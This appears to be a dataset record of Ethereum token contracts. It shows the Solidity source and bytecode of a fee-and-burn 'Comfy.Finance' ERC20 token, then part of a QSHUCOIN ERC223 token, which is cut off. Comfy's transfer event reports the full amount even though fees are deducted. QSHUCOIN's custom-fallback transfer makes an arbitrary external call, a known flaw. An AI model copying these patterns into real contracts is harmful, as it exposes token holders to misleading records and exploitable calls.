* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Comfy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000 * 10**18;
address public comfyWallet;
string private _name = 'Comfy.Finance';
string private _symbol = 'COMFY';
uint8 private _decimals = 18;
uint public burnDisabledAtAmount = 100000000000 * 10**18;
bool public burnEnabled;
constructor (address _comfyWallet) {
_balances[msg.sender] = _totalSupply;
comfyWallet = _comfyWallet;
burnEnabled = true;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function setBurnEnabled (bool enabled) public onlyOwner() {
burnEnabled = enabled;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
uint currentTotalSupply = _totalSupply;
if (currentTotalSupply <= burnDisabledAtAmount) {
burnEnabled = false;
}
if (burnEnabled) {
uint _amount = amount;
uint _comfyAmount = amount.div(15);
uint _burnAmount = amount.mul(10).div(100);
uint _transferFee = _comfyAmount.add(_burnAmount);
uint _amountToTransfer = _amount.sub(_transferFee);
_balances[sender] = senderBalance.sub(_amount);
_totalSupply = _totalSupply.sub(_burnAmount);
_balances[comfyWallet] = _balances[comfyWallet].add(_comfyAmount);
_balances[recipient] = _balances[recipient].add(_amountToTransfer);
emit Transfer(sender, address(0), _burnAmount);
emit Transfer(sender, recipient, amount);
}
else {
_balances[sender] = senderBalance.sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b4114610461578063a457c2d7146104e4578063a9059cbb14610548578063dd62ed3e146105ac578063f2fde38b1461062457610116565b806370a082311461039b578063715018a6146103f35780637b2c835f146103fd5780638da5cb5b1461042d57610116565b8063313ce567116100e9578063313ce567146102a45780633572265c146102c557806339509351146102e3578063395a5b16146103475780635dc96d161461037b57610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020257806323b872dd14610220575b600080fd5b610123610668565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070a565b60405180821515815260200191505060405180910390f35b61020a610728565b6040518082815260200191505060405180910390f35b61028c6004803603606081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610732565b60405180821515815260200191505060405180910390f35b6102ac610840565b604051808260ff16815260200191505060405180910390f35b6102cd610849565b6040518082815260200191505060405180910390f35b61032f600480360360408110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084f565b60405180821515815260200191505060405180910390f35b61034f6108f2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610383610918565b60405180821515815260200191505060405180910390f35b6103dd600480360360208110156103b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061092b565b6040518082815260200191505060405180910390f35b6103fb610974565b005b61042b6004803603602081101561041357600080fd5b81019080803515159060200190929190505050610afa565b005b610435610bdf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610469610c08565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a957808201518184015260208101905061048e565b50505050905090810190601f1680156104d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610530600480360360408110156104fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caa565b60405180821515815260200191505060405180910390f35b6105946004803603604081101561055e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b60405180821515815260200191505060405180910390f35b61060e600480360360408110156105c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc9565b6040518082815260200191505060405180910390f35b6106666004803603602081101561063a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e50565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107005780601f106106d557610100808354040283529160200191610700565b820191906000526020600020905b8154815290600101906020018083116106e357829003601f168201915b5050505050905090565b600061071e61071761105b565b8484611063565b6001905092915050565b6000600354905090565b600061073f84848461125a565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078a61105b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610820576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611ca16028913960400191505060405180910390fd5b6108348561082c61105b565b858403611063565b60019150509392505050565b60006012905090565b60085481565b60006108e861085c61105b565b84846002600061086a61105b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401611063565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61097c61105b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b0261105b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ca05780601f10610c7557610100808354040283529160200191610ca0565b820191906000526020600020905b815481529060010190602001808311610c8357829003601f168201915b5050505050905090565b60008060026000610cb961105b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d126025913960400191505060405180910390fd5b610da0610d9761105b565b85858403611063565b600191505092915050565b6000610dbf610db861105b565b848461125a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e5861105b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c126026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cee6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c386022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cc96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611366576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bef6023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c5a6026913960400191505060405180910390fd5b60006003549050600854811161142f576000600960006101000a81548160ff0219169083151502179055505b600960009054906101000a900460ff161561176e576000839050600061145f600f866118c690919063ffffffff16565b9050600061148a606461147c600a8961191090919063ffffffff16565b6118c690919063ffffffff16565b905060006114a1828461199690919063ffffffff16565b905060006114b88286611a1e90919063ffffffff16565b90506114cd8588611a1e90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152583600354611a1e90919063ffffffff16565b60038190555061159f8460016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b60016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165681600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040518082815260200191505060405180910390a350505050506118bf565b6117818383611a1e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5050505050565b600061190883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a68565b905092915050565b6000808314156119235760009050611990565b600082840290508284828161193457fe5b041461198b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c806021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611a14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611a6083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2e565b905092915050565b60008083118290611b14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ad9578082015181840152602081019050611abe565b50505050905090810190601f168015611b065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611b2057fe5b049050809150509392505050565b6000838311158290611bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ba0578082015181840152602081019050611b85565b50505050905090810190601f168015611bcd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f0f64b8677801cd558d26733e44f0cc428a85a3434378cdd11b92eb8b23b2f8f64736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 5,986 |
0x064d0c8d8100ba8c57a63d75a5fb8ede18d7fe4b
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function div(uint256 x, uint256 y) internal pure returns (uint256) {
// assert(y > 0);//Solidity automatically throws when dividing by 0
uint256 z = x / y;
// assert(x == y * z + x % y); // There is no case in which this doesn`t hold
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
return x - y;
}
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control function,this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
*
* @dev The Ownable constructor sets the original 'owner' of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* newQSHUCOIN
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens newQSHUCOIN
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title newQSHUCOIN
* @dev QSHUCOIN is an ERC223 Token with ERC20 functions and events
* Wishing for circulation of QSHUCOIN!
* I wish for prosperity for a long time!
* Flapping from Kyusyu to the world!
* We will work with integrity and sincerity!
* ARIGATOH!
*/
contract QSHUCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "QSHUCOIN";
string public symbol = "QSH";
uint8 public decimals = 8;
uint256 public totalSupply = 50e9 * 1e8;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
/**
* @dev Constructor is called only once and can not be called again
*/
function QSHUCOIN() public {
owner = msg.sender;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
